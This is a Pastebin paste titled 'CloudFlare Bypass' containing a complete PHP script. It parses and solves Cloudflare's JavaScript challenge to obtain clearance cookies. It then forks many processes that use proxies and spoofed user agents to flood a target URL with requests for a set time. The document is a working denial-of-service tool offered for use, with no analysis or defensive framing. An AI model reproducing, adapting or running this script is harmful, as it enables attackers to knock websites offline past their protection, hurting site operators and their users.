Tero

[+] CloudFlare Bypass

Oct 30th, 2016
3,086
0
Never
10
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 12.09 KB | None | 0 0
  1. <?php
  2. if($argc != 5) {
  3.         echo "Usage: php $argv[0] http://site.com/ (proxy list set to none if none)(threads)(time)\n";
  4.         die();
  5. }
  6.  
  7. function get_between($string,$start,$end)
  8. {
  9.     $string = " ".$string;
  10.     $ini = strpos($string, $start);
  11.     if($ini==0) return "";
  12.     $ini += strlen($start);
  13.     $len = strpos($string, $end, $ini) - $ini;
  14.     return substr($string, $ini, $len);
  15. }
  16.  
  17. function rand_line($fileName, $maxLineLength = 7096) {
  18.     $handle = @fopen($fileName, "r");
  19.     if ($handle) {
  20.         $random_line = null;
  21.         $line = null;
  22.         $count = 0;
  23.         while (($line = fgets($handle, $maxLineLength)) !== false) {
  24.             $count++;
  25.             if(rand() % $count == 0) {
  26.               $random_line = $line;
  27.             }
  28.         }
  29.         if (!feof($handle)) {
  30.             echo "Error: unexpected fgets() fail\n";
  31.             fclose($handle);
  32.             return null;
  33.         } else {
  34.             fclose($handle);
  35.         }
  36.         return $random_line;
  37.     }
  38. }
  39.  
  40. function bypassyourdog($domain, $useragent, $proxy) {  
  41.     $cURL = curl_init();
  42.     curl_setopt($cURL, CURLOPT_URL, $domain);
  43.     curl_setopt($cURL, CURLOPT_RETURNTRANSFER, 1);
  44.     curl_setopt($cURL, CURLOPT_HEADER, 1);
  45.     curl_setopt($cURL, CURLOPT_USERAGENT, $useragent);
  46.     curl_setopt($cURL, CURLOPT_FOLLOWLOCATION, true);
  47.     curl_setopt($cURL, CURLOPT_PROXY, $proxy);
  48.     curl_setopt($cURL, CURLOPT_COOKIEFILE, "cookie.txt");
  49.     $string = curl_exec($cURL);
  50.     curl_close($cURL);
  51.     $domain = get_between($string, '</span> ', '.</h1>');
  52.     $jschl_vc = get_between($string, '"jschl_vc" value="', '"/>');
  53.     $pass = get_between($string, '"pass" value="', '"/>');
  54.     $settimeout = get_between($string, 'setTimeout(function(){', 'f.submit()');
  55.     $mathvariables = get_between($settimeout, 'var t,r,a,f, ', ';');
  56.     $mathvariable = explode('=', $mathvariables);
  57.     $mathvariable1 = get_between($mathvariables, '{"', '":');
  58.     $mathvariable2 = $mathvariable[0].".".$mathvariable1;
  59.     $math1 = get_between($mathvariables, '":', '}');
  60.     $math2 = $mathvariable[0].get_between($settimeout, ";".$mathvariable[0], ';a.value');
  61.     $fuck = 0;
  62.     $math2s = explode(';', $math2);
  63.     $mathtotal = 0;
  64.     $answers = array();
  65.     $totalformath1 = 0;
  66.     //echo "Domain: $domain\nJSCHL_VC: $jschl_vc\nPASS: $pass\nSet Timeout: $settimeout\n";
  67.     if($pass == NULL) {
  68.         file_put_contents('log.txt', $string, FILE_APPEND);
  69.     }
  70.     if(get_between($math1, '((', '))') != NULL) {
  71.         $dog311 = get_between($math1, '((', '))');
  72.         $math1ss = explode(')', $dog311);
  73.         $math1sss = explode('+', $math1ss[0]);
  74.         $math1ssss = explode('(', $dog311);
  75.         $math1sssss = explode('+', $math1ssss[1]);
  76.         $ifuckdog = 0;
  77.         $ufuckdog = 0;
  78.         foreach($math1sss as $imoutofvars2) {
  79.             if ($imoutofvars2 == "!" || $imoutofvars2 == "!![]" || $imoutofvars2 == "![]") {
  80.                 $ifuckdog++;
  81.             }
  82.         }
  83.         foreach($math1sssss as $imoutofvars3) {
  84.             if ($imoutofvars3 == "!" || $imoutofvars3 == "!![]" || $imoutofvars3 == "![]") {
  85.                 $ufuckdog++;
  86.             }
  87.         }
  88.         $totalformath1 = $ifuckdog.$ufuckdog;
  89.         array_push($answers, $totalformath1." +");
  90.     } else {
  91.         $math1ss = explode('+', $math1);
  92.         foreach($math1ss as $fuckmydog){
  93.             if ($fuckmydog == "!" || $fuckmydog == "!![]" || $fuckmydog == "![]") {
  94.                 $totalformath1++;
  95.             }
  96.         }
  97.         array_push($answers, $totalformath1." +");
  98.     }
  99.     foreach($math2s as $dog123){
  100.         $typeofmath = substr($dog123, strlen($mathvariable2), 1);
  101.         if(get_between($dog123, '((', '))') != NULL) {
  102.             $dog321 = get_between($dog123, '((', '))');
  103.             $poop = 0;
  104.             $shit = 0;
  105.             $mathss = explode(')', $dog321);
  106.             $mathsss = explode('+', $mathss[0]);
  107.             $mathssss = explode('(', $dog321);
  108.             $mathsssss = explode('+', $mathssss[1]);
  109.             foreach($mathsss as $imoutofvars) {
  110.                 if ($imoutofvars == "!" || $imoutofvars == "!![]" || $imoutofvars == "![]") {
  111.                     $poop++;
  112.                 }
  113.             }
  114.             foreach($mathsssss as $imoutofvars1) {
  115.                 if ($imoutofvars1 == "!" || $imoutofvars1 == "!![]" || $imoutofvars1 == "![]") {
  116.                     $shit++;
  117.                 }
  118.             }
  119.             $fuck = $poop.$shit;
  120.             array_push($answers, $fuck." ".$typeofmath);
  121.             $fuck = 0;
  122.         } else {
  123.             $fuckingdogs = explode('=', $dog123);
  124.             $fuckingcats = explode('+', $fuckingdogs[1]);
  125.             foreach($fuckingcats as $idinglecats) {
  126.                 if ($idinglecats == "!" || $idinglecats == "!![]" || $idinglecats == "![]") {
  127.                     $fuck++;
  128.                 }
  129.             }
  130.             array_push($answers, $fuck." ".$typeofmath);
  131.             $fuck = 0;
  132.         }
  133.     }
  134.     foreach($answers as $answer) {
  135.         $ilikedogs = explode(' ', $answer);
  136.         switch($ilikedogs[1]) {
  137.             case "+":
  138.                 $mathtotal = $mathtotal + $ilikedogs[0];
  139.             break;
  140.             case "-":
  141.                 $mathtotal = $mathtotal - $ilikedogs[0];
  142.             break;
  143.             case "*":
  144.                 $mathtotal = $mathtotal * $ilikedogs[0];
  145.             break;
  146.         }
  147.     }
  148.     $jschl_answer = strlen($domain) + $mathtotal;
  149.     $domain1 = $domain."/cdn-cgi/l/chk_jschl?jschl_vc=$jschl_vc&pass=$pass&jschl_answer=$jschl_answer";
  150.     usleep(3000000);
  151.     $cURL1 = curl_init();
  152.     curl_setopt($cURL1, CURLOPT_URL, $domain1);
  153.     curl_setopt($cURL1, CURLOPT_RETURNTRANSFER, 1);
  154.     curl_setopt($cURL1, CURLOPT_HEADER, 1);
  155.     curl_setopt($cURL1, CURLOPT_USERAGENT, $useragent);
  156.     curl_setopt($cURL1, CURLOPT_FOLLOWLOCATION, true);
  157.     curl_setopt($cURL1, CURLOPT_PROXY, $proxy);
  158.     curl_setopt($cURL1, CURLOPT_COOKIEFILE, "cookie.txt");
  159.     $test = curl_exec($cURL1);
  160.     $cfuid = get_between($test, '__cfduid=', '; expires');
  161.     $cf_clearance = get_between($test, 'cf_clearance=', '; expires');
  162.     echo '__cfduid='.$cfuid.'; cf_clearance='.$cf_clearance."\n";
  163.     return '__cfduid='.$cfuid.'; cf_clearance='.$cf_clearance;
  164. }
  165. $useragents = array(
  166.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  167.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 RestSharp 102.0.0.0",
  168.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36",
  169.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  170.     "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  171.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  172.     "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  173.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  174.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  175.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  176.     "Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.2.15 Version/10.00",
  177.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; )",
  178.     "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12",
  179.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  180.     "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  181.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.5) Gecko/2009021916 Songbird/1.1.2 (20090331142126)",
  182.     "Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  183.     "Mozilla/5.0 (X11; U; Linux; cs-CZ) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3)  rekonq",
  184.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP 5.1) Lobo/0.98.4",
  185.     "X-Smiles/1.2-20081113",
  186.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008120120 Blackbird/0.9991",
  187.     "Mozilla/5.0 (SCH-F859/F859DG12;U;NUCLEUS/2.1;Profile/MIDP-2.1 Configuration/CLDC-1.1;480*800;CTC/2.0) Dolfin/2.0",
  188.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  189.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Conkeror/0.9.3",
  190.     "LeechCraft (X11; U; Linux; ru_RU) (LeechCraft/Poshuku 0.3.55-324-g9365f23; WebKit 4.5.2/4.5.2)",
  191.     "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.8) Gecko/20100317 Postbox/1.1.3",
  192.     "xine/1.1.16.3",
  193.     "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  194.     "Mozilla/5.0 (X11; U; Linux i686; en-US; SkipStone 0.8.3) Gecko/20020615 Debian/1.0.0-3 ",
  195.     "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  196.     "MMozilla/5.0 (Windows; U; Windows NT 6.1; cs-CZ) AppleWebKit/533.3 (KHTML, like Gecko) QupZilla/1.1.5 Safari/533.3",
  197.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  198.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  199.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  200.     "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  201.     "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  202.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  203.     "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  204.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  205.     "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  206.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  207.     "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  208.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  209.     "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  210.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  211.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  212.     "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  213.     "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  214. );
  215. $end = time() + $argv[4];
  216. $threads = $argv[3];
  217. $failed = 0;
  218. $succeed = 0;
  219. echo "Starting cf bypass on $argv[1] for $argv[4] seconds with $argv[3] threads\n";
  220. for($i = 0; $i < $threads; $i ++){
  221.     $pid = pcntl_fork();
  222.     if($pid == -1) {
  223.         echo "Forking failed on $i loop of forking.\n";
  224.         exit();
  225.     } elseif($pid) {
  226.         continue;
  227.     } else {
  228.         if(!(strpos($argv[2], "dog"))) {
  229.                 $proxy = rand_line($argv[2]);
  230.         } else {
  231.             $proxy = NULL;
  232.         }
  233.         $ua = $useragents[array_rand($useragents)];
  234.         $bypasscookie = bypassyourdog($argv[1], $ua, $proxy);
  235.         if(strlen($bypasscookie) > 70) {
  236.             while($end > time()) {
  237.                 $flood = curl_init();
  238.                 curl_setopt($flood, CURLOPT_URL, $argv[1]);
  239.                 curl_setopt($flood, CURLOPT_RETURNTRANSFER, 1);
  240.                 curl_setopt($flood, CURLOPT_USERAGENT, $ua);
  241.                 curl_setopt($flood, CURLOPT_FOLLOWLOCATION, true);
  242.                 curl_setopt($flood, CURLOPT_PROXY, $proxy);
  243.                 curl_setopt($flood, CURLOPT_COOKIE, $bypasscookie);
  244.                 $flood123 = curl_exec($flood);
  245.                 curl_close($flood);
  246.             }
  247.         }
  248.         die();
  249.     }
  250. }
  251. for($j = 0; $j < $threads; $j++) {
  252.     $pid = pcntl_wait($status);
  253. }
  254. ?>
Advertisement
Comments
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
Add Comment
Please, Sign In to add comment